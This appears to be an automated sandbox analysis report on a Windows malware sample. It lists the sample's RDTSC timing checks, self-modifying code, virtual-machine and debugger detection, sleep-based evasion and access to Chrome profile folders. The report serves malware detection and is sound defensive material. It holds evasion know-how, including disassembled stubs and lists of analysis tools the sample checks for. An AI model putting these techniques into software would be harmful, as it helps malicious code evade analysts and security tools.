Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD005F second address: 6FD00D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F09FCF89C24h 0x00000012 or ah, 00000048h 0x00000015 jmp 00007F09FCF89C1Bh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F09FCF89C28h 0x00000021 sub esi, 77369FA8h 0x00000027 jmp 00007F09FCF89C1Bh 0x0000002c popfd 0x0000002d popad 0x0000002e and esp, FFFFFFF0h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F09FCF89C20h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD00D8 second address: 6FD00DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD00DC second address: 6FD00E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD00E2 second address: 6FD00E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD00E8 second address: 6FD0186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 44h 0x0000000e jmp 00007F09FCF89C20h 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F09FCF89C1Eh 0x0000001b or ah, FFFFFFC8h 0x0000001e jmp 00007F09FCF89C1Bh 0x00000023 popfd 0x00000024 jmp 00007F09FCF89C28h 0x00000029 popad 0x0000002a push eax 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F09FCF89C21h 0x00000032 xor ch, FFFFFF96h 0x00000035 jmp 00007F09FCF89C21h 0x0000003a popfd 0x0000003b movzx eax, bx 0x0000003e popad 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD0186 second address: 6FD018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD018C second address: 6FD01BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F09FCF89C20h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD01BC second address: 6FD01CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD01CB second address: 6FD0219 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F09FCF89C1Fh 0x00000008 call 00007F09FCF89C28h 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jmp 00007F09FCF89C20h 0x00000017 xchg eax, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F09FCF89C1Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD0219 second address: 6FD021F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD021F second address: 6FD024C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 45722C13h 0x00000008 push ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, edi 0x0000000e pushad 0x0000000f mov edi, ecx 0x00000011 mov cx, 4003h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F09FCF89C24h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD024C second address: 6FD027F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d push eax 0x0000000e mov si, di 0x00000011 pop edi 0x00000012 popad 0x00000013 mov edi, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F09FCB08895h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD027F second address: 6FD028F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCF89C1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD028F second address: 6FD02AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+24h], 00000000h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F09FCB0888Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD02AB second address: 6FD0308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lock bts dword ptr [edi], 00000000h 0x0000000e pushad 0x0000000f mov cl, 2Ah 0x00000011 mov edi, 761AB394h 0x00000016 popad 0x00000017 jc 00007F0A6D4CBD81h 0x0000001d jmp 00007F09FCF89C23h 0x00000022 pop edi 0x00000023 pushad 0x00000024 pushad 0x00000025 jmp 00007F09FCF89C22h 0x0000002a mov bx, ax 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F09FCF89C1Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD0308 second address: 6FD030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD030C second address: 6FD0381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F09FCF89C1Ch 0x0000000f and si, 68D8h 0x00000014 jmp 00007F09FCF89C1Bh 0x00000019 popfd 0x0000001a mov di, ax 0x0000001d popad 0x0000001e pop ebx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F09FCF89C20h 0x00000026 adc si, 3338h 0x0000002b jmp 00007F09FCF89C1Bh 0x00000030 popfd 0x00000031 call 00007F09FCF89C28h 0x00000036 mov ax, 69F1h 0x0000003a pop esi 0x0000003b popad 0x0000003c mov esp, ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD0381 second address: 6FD0385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD0385 second address: 6FD0389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD0389 second address: 6FD038F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FD038F second address: 6FD03C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCF89C1Ah 0x00000009 sub ch, FFFFFFF8h 0x0000000c jmp 00007F09FCF89C1Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F09FCF89C25h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70007AB second address: 70007AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70007AF second address: 70007B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FF0933 second address: 6FF0937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FF0937 second address: 6FF093D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FF093D second address: 6FF094D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCB0888Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FF094D second address: 6FF0951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 6FF0951 second address: 6FF097C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F09FCB0888Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov dh, al 0x00000014 mov cx, di 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b mov si, bx 0x0000001e push eax 0x0000001f push edx 0x00000020 mov dx, 0EF0h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000A58 second address: 7000A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000A5E second address: 7000A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000A62 second address: 7000A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000A66 second address: 7000A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F09FCB08893h 0x0000000f push dword ptr [ebp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F09FCB0888Bh 0x0000001a mov ch, 61h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000A97 second address: 7000AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F09FCF89C27h 0x00000009 or eax, 2C357D0Eh 0x0000000f jmp 00007F09FCF89C29h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push dword ptr [ebp+0Ch] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F09FCF89C1Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000AE7 second address: 7000B3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 pushfd 0x00000006 jmp 00007F09FCB08893h 0x0000000b add ch, FFFFFFCEh 0x0000000e jmp 00007F09FCB08899h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F09FCB08898h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000B3F second address: 7000B45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000B45 second address: 7000B4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000B4B second address: 7000B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7000B63 second address: 7000B69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7060B32 second address: 7060B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 325Ah 0x00000007 mov ch, bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F09FCF89C1Fh 0x00000017 xor ecx, 42B6ACAEh 0x0000001d jmp 00007F09FCF89C29h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7060B74 second address: 7060BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 jmp 00007F09FCB08896h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dl, byte ptr [ebp+14h] 0x00000011 jmp 00007F09FCB08890h 0x00000016 mov eax, dword ptr [ebp+10h] 0x00000019 jmp 00007F09FCB08890h 0x0000001e and dl, 00000007h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F09FCB08897h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7060BD5 second address: 7060C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F09FCF89C1Fh 0x00000008 movzx ecx, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test eax, eax 0x00000010 jmp 00007F09FCF89C1Bh 0x00000015 je 00007F0A6D45F20Eh 0x0000001b jmp 00007F09FCF89C26h 0x00000020 sub ecx, ecx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F09FCF89C27h 0x00000029 and eax, 07CC0CEEh 0x0000002f jmp 00007F09FCF89C29h 0x00000034 popfd 0x00000035 mov ch, 20h 0x00000037 popad 0x00000038 inc ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c movsx ebx, cx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7060C5C second address: 7060C75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 shr eax, 1 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7060C75 second address: 7060C88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 7060C88 second address: 7060C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: 70505E0 second address: 705063E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 pushfd 0x00000006 jmp 00007F09FCF89C1Ah 0x0000000b sub ecx, 20946578h 0x00000011 jmp 00007F09FCF89C1Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b jmp 00007F09FCF89C26h 0x00000020 xchg eax, esi 0x00000021 jmp 00007F09FCF89C20h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F09FCF89C1Eh 0x0000002e rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Special instruction interceptor: First address: CCFFC1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Special instruction interceptor: First address: E706DC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Special instruction interceptor: First address: E70A69 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Special instruction interceptor: First address: E9ED92 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Special instruction interceptor: First address: F035CF instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window / User API: threadDelayed 1244 Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window / User API: threadDelayed 1331 Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Window / User API: threadDelayed 1396 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 1951 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 8048 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.2 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7372 Thread sleep count: 43 > 30 Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7372 Thread sleep time: -86043s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7376 Thread sleep count: 37 > 30 Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7376 Thread sleep time: -74037s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7364 Thread sleep count: 1244 > 30 Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7364 Thread sleep time: -2489244s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7476 Thread sleep time: -32000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7352 Thread sleep count: 1331 > 30 Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7352 Thread sleep time: -2663331s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7368 Thread sleep count: 1396 > 30 Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe TID: 7368 Thread sleep time: -2793396s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 3352 Thread sleep count: 1951 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 3352 Thread sleep time: -195100s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 3352 Thread sleep count: 8048 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 3352 Thread sleep time: -804800s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Source: Amcache.hve.14.dr Binary or memory string: VMware
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: chrome.exe, 00000003.00000002.1788325751.0000024EA9F88000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.14.dr Binary or memory string: vmci.sys
Source: mPQW1NB2Px.exe, 00000000.00000003.1382213367.00000000072D0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: mPQW1NB2Px.exe, 00000000.00000003.1413470309.0000000006871000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlO#>(
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr Binary or memory string: VMware-42 27 c7 3b 45 a3 e4 a4-61 bc 19 7c 28 5c 10 19
Source: Amcache.hve.14.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual RAM
Source: mPQW1NB2Px.exe, 00000000.00000003.1410942658.0000000001262000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllL
Source: Amcache.hve.14.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.14.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File opened: NTICE
